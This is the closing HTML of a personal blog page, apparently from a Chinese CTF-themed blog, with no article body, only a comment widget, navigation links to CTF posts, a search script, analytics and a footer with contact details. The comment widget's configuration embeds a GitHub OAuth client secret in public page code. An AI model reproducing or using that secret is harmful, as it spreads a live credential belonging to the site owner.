id="gitalk-container" class="card-content"></div> </div> <!-- 引入 Gitalk 官方 JS(国内 CDN) --> <script src="https://cdn.jsdelivr.net/npm/gitalk@1/dist/gitalk.min.js"></script> <script> let gitalk = new Gitalk({ clientID: 'Ov23liTNlK9NLcZwFSo8', clientSecret: '7472cd54d6ca5e38d14f6d1b5176299bb4cf4ebe', repo: 'blog---comments', owner: 'web-wuk0Ng', admin: ["web-wuk0Ng"], id: '2025-09-25T12-00-00', distractionFreeMode: false }); gitalk.render('gitalk-container'); </script> <article id="prenext-posts" class="prev-next articles"> <div class="row article-row"> <div class="article col s12 m6" data-aos="fade-up"> <div class="article-badge left-badge text-color"> <i class="fas fa-chevron-left"></i> 上一篇</div> <div class="card"> <a href="/2025/09/25/py-web/"> <div class="card-image"> <img src="/medias/featureimages/8.jpg" class="responsive-img" alt="py-web"> <span class="card-title">py-web</span> </div> </a> <div class="card-content article-content"> <div class="summary block-with-text"> </div> <div class="publish-info"> <span class="publish-date"> <i class="far fa-clock fa-fw icon-date"></i>2025-09-25 </span> <span class="publish-author"> <i class="fas fa-bookmark fa-fw icon-category"></i> <a href="/categories/%E8%AE%B0%E5%BD%95/" class="post-category"> 记录 </a> </span> </div> </div> <div class="card-action article-tags"> <a href="/tags/CTF/"> <span class="chip bg-color">CTF</span> </a> <a href="/tags/%E6%AF%94%E8%B5%9B/"> <span class="chip bg-color">比赛</span> </a> </div> </div> </div> <div class="article col s12 m6" data-aos="fade-up"> <div class="article-badge right-badge text-color"> 下一篇 <i class="fas fa-chevron-right"></i> </div> <div class="card"> <a href="/2025/09/03/shell%E5%92%8C%E6%8F%90%E6%9D%83CTF%E5%AE%9E%E6%88%98/"> <div class="card-image"> <img src="/medias/featureimages/5.jpg" class="responsive-img" alt="shell&suid实战"> <span class="card-title">shell&suid实战</span> </div> </a> <div class="card-content article-content"> <div class="summary block-with-text"> </div> <div class="publish-info"> <span class="publish-date"> <i class="far fa-clock fa-fw icon-date"></i>2025-09-03 </span> <span class="publish-author"> <i class="fas fa-bookmark fa-fw icon-category"></i> <a href="/categories/%E8%AE%B0%E5%BD%95/" class="post-category"> 记录 </a> </span> </div> </div> <div class="card-action article-tags"> <a href="/tags/CTF/"> <span class="chip bg-color">CTF</span> </a> <a href="/tags/%E6%AF%94%E8%B5%9B/"> <span class="chip bg-color">比赛</span> </a> </div> </div> </div> </div> </article> </div> <!-- 代码块功能依赖 --> <script type="text/javascript" src="/libs/codeBlock/codeBlockFuction.js"></script> <!-- 代码语言 --> <script type="text/javascript" src="/libs/codeBlock/codeLang.js"></script> <!-- 代码块复制 --> <script type="text/javascript" src="/libs/codeBlock/codeCopy.js"></script> <!-- 代码块收缩 --> <script type="text/javascript" src="/libs/codeBlock/codeShrink.js"></script> </div> <div id="toc-aside" class="expanded col l3 hide-on-med-and-down"> <div class="toc-widget card" style="background-color: white;"> <div class="toc-title"><i class="far fa-list-alt"></i>  目录</div> <div id="toc-content"></div> </div> </div> </div> <!-- TOC 悬浮按钮. --> <div id="floating-toc-btn" class="hide-on-med-and-down"> <a class="btn-floating btn-large bg-color"> <i class="fas fa-list-ul"></i> </a> </div> <script src="/libs/tocbot/tocbot.min.js"></script> <script> $(function () { tocbot.init({ tocSelector: '#toc-content', contentSelector: '#articleContent', headingsOffset: -($(window).height() * 0.4 - 45), collapseDepth: Number('0'), headingSelector: 'h1, h2, h3' }); // modify the toc link href to support Chinese. let i = 0; let tocHeading = 'toc-heading-'; $('#toc-content a').each(function () { $(this).attr('href', '#' + tocHeading + (++i)); }); // modify the heading title id to support Chinese. i = 0; $('#articleContent').children('h1, h2, h3').each(function () { $(this).attr('id', tocHeading + (++i)); }); // Set scroll toc fixed. let tocHeight = parseInt($(window).height() * 0.4 - 64); let $tocWidget = $('.toc-widget'); $(window).scroll(function () { let scroll = $(window).scrollTop(); /* add post toc fixed. */ if (scroll > tocHeight) { $tocWidget.addClass('toc-fixed'); } else { $tocWidget.removeClass('toc-fixed'); } }); /* 修复文章卡片 div 的宽度. */ let fixPostCardWidth = function (srcId, targetId) { let srcDiv = $('#' + srcId); if (srcDiv.length === 0) { return; } let w = srcDiv.width(); if (w >= 450) { w = w + 21; } else if (w >= 350 && w < 450) { w = w + 18; } else if (w >= 300 && w < 350) { w = w + 16; } else { w = w + 14; } $('#' + targetId).width(w); }; // 切换TOC目录展开收缩的相关操作. const expandedClass = 'expanded'; let $tocAside = $('#toc-aside'); let $mainContent = $('#main-content'); $('#floating-toc-btn .btn-floating').click(function () { if ($tocAside.hasClass(expandedClass)) { $tocAside.removeClass(expandedClass).hide(); $mainContent.removeClass('l9'); } else { $tocAside.addClass(expandedClass).show(); $mainContent.addClass('l9'); } fixPostCardWidth('artDetail', 'prenext-posts'); }); }); </script> </main> <footer class="page-footer bg-color"> <div class="container row center-align" style="margin-bottom: 0px !important;"> <div class="col s12 m8 l8 copy-right"> Copyright © <span id="year">2019-2025</span> <span id="year">2019</span> <a href="/about" target="_blank">wuk0Ng</a> | Powered by <a href="https://hexo.io/" target="_blank">Hexo</a> | Theme <a href="https://github.com/blinkfox/hexo-theme-matery" target="_blank">Matery</a> <br> <span id="busuanzi_container_site_pv"> | <i class="far fa-eye"></i> 总访问量: <span id="busuanzi_value_site_pv" class="white-color"></span> 次 </span> <span id="busuanzi_container_site_uv"> | <i class="fas fa-users"></i> 总访问人数: <span id="busuanzi_value_site_uv" class="white-color"></span> 人 </span> <br> <br> </div> <div class="col s12 m4 l4 social-link social-statis"> <a href="https://github.com/web-wuk0Ng" class="tooltipped" target="_blank" data-tooltip="访问我的GitHub" data-position="top" data-delay="50"> <i class="fab fa-github"></i> </a> <a href="mailto:3134985131@qq.com" class="tooltipped" target="_blank" data-tooltip="邮件联系我" data-position="top" data-delay="50"> <i class="fas fa-envelope-open"></i> </a> <a href="tencent://AddContact/?fromId=50&fromSubId=1&subcmd=all&uin=3442584626" class="tooltipped" target="_blank" data-tooltip="QQ联系我: 3442584626" data-position="top" data-delay="50"> <i class="fab fa-qq"></i> </a> <a href="/atom.xml" class="tooltipped" target="_blank" data-tooltip="RSS 订阅" data-position="top" data-delay="50"> <i class="fas fa-rss"></i> </a> </div> </div> </footer> <div class="progress-bar"></div> <!-- 搜索遮罩框 --> <div id="searchModal" class="modal"> <div class="modal-content"> <div class="search-header"> <span class="title"><i class="fas fa-search"></i>  搜索</span> <input type="search" id="searchInput" name="s" placeholder="请输入搜索的关键字" class="search-input"> </div> <div id="searchResult"></div> </div> </div> <script type="text/javascript"> $(function () { var searchFunc = function (path, search_id, content_id) { 'use strict'; $.ajax({ url: path, dataType: "xml", success: function (xmlResponse) { // get the contents from search data var datas = $("entry", xmlResponse).map(function () { return { title: $("title", this).text(), content: $("content", this).text(), url: $("url", this).text() }; }).get(); var $input = document.getElementById(search_id); var $resultContent = document.getElementById(content_id); $input.addEventListener('input', function () { var str = '<ul class=\"search-result-list\">'; var keywords = this.value.trim().toLowerCase().split(/[\s\-]+/); $resultContent.innerHTML = ""; if (this.value.trim().length <= 0) { return; } // perform local searching datas.forEach(function (data) { var isMatch = true; var data_title = data.title.trim().toLowerCase(); var data_content = data.content.trim().replace(/<[^>]+>/g, "").toLowerCase(); var data_url = data.url; data_url = data_url.indexOf('/') === 0 ? data.url : '/' + data_url; var index_title = -1; var index_content = -1; var first_occur = -1; // only match artiles with not empty titles and contents if (data_title !== '' && data_content !== '') { keywords.forEach(function (keyword, i) { index_title = data_title.indexOf(keyword); index_content = data_content.indexOf(keyword); if (index_title < 0 && index_content < 0) { isMatch = false; } else { if (index_content < 0) { index_content = 0; } if (i === 0) { first_occur = index_content; } } }); } // show search results if (isMatch) { str += "<li><a href='" + data_url + "' class='search-result-title'>" + data_title + "</a>"; var content = data.content.trim().replace(/<[^>]+>/g, ""); if (first_occur >= 0) { // cut out 100 characters var start = first_occur - 20; var end = first_occur + 80; if (start < 0) { start = 0; } if (start === 0) { end = 100; } if (end > content.length) { end = content.length; } var match_content = content.substr(start, end); // highlight all keywords keywords.forEach(function (keyword) { var regS = new RegExp(keyword, "gi"); match_content = match_content.replace(regS, "<em class=\"search-keyword\">" + keyword + "</em>"); }); str += "<p class=\"search-result\">" + match_content + "...</p>" } str += "</li>"; } }); str += "</ul>"; $resultContent.innerHTML = str; }); } }); }; searchFunc('/search.xml', 'searchInput', 'searchResult'); }); </script> <!-- 回到顶部按钮 --> <div id="backTop" class="top-scroll"> <a class="btn-floating btn-large waves-effect waves-light" href="#!"> <i class="fas fa-arrow-up"></i> </a> </div> <script src="/libs/materialize/materialize.min.js"></script> <script src="/libs/masonry/masonry.pkgd.min.js"></script> <script src="/libs/aos/aos.js"></script> <script src="/libs/scrollprogress/scrollProgress.min.js"></script> <script src="/libs/lightGallery/js/lightgallery-all.min.js"></script> <script src="/js/matery.js"></script> <!-- Baidu Analytics --> <!-- Baidu Push --> <script> (function () { var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> <script src="/libs/others/clicklove.js" async="async"></script> <script async src="/libs/others/busuanzi.pure.mini.js"></script> <script src="/libs/instantpage/instantpage.js" type="module"></script> </body> </html>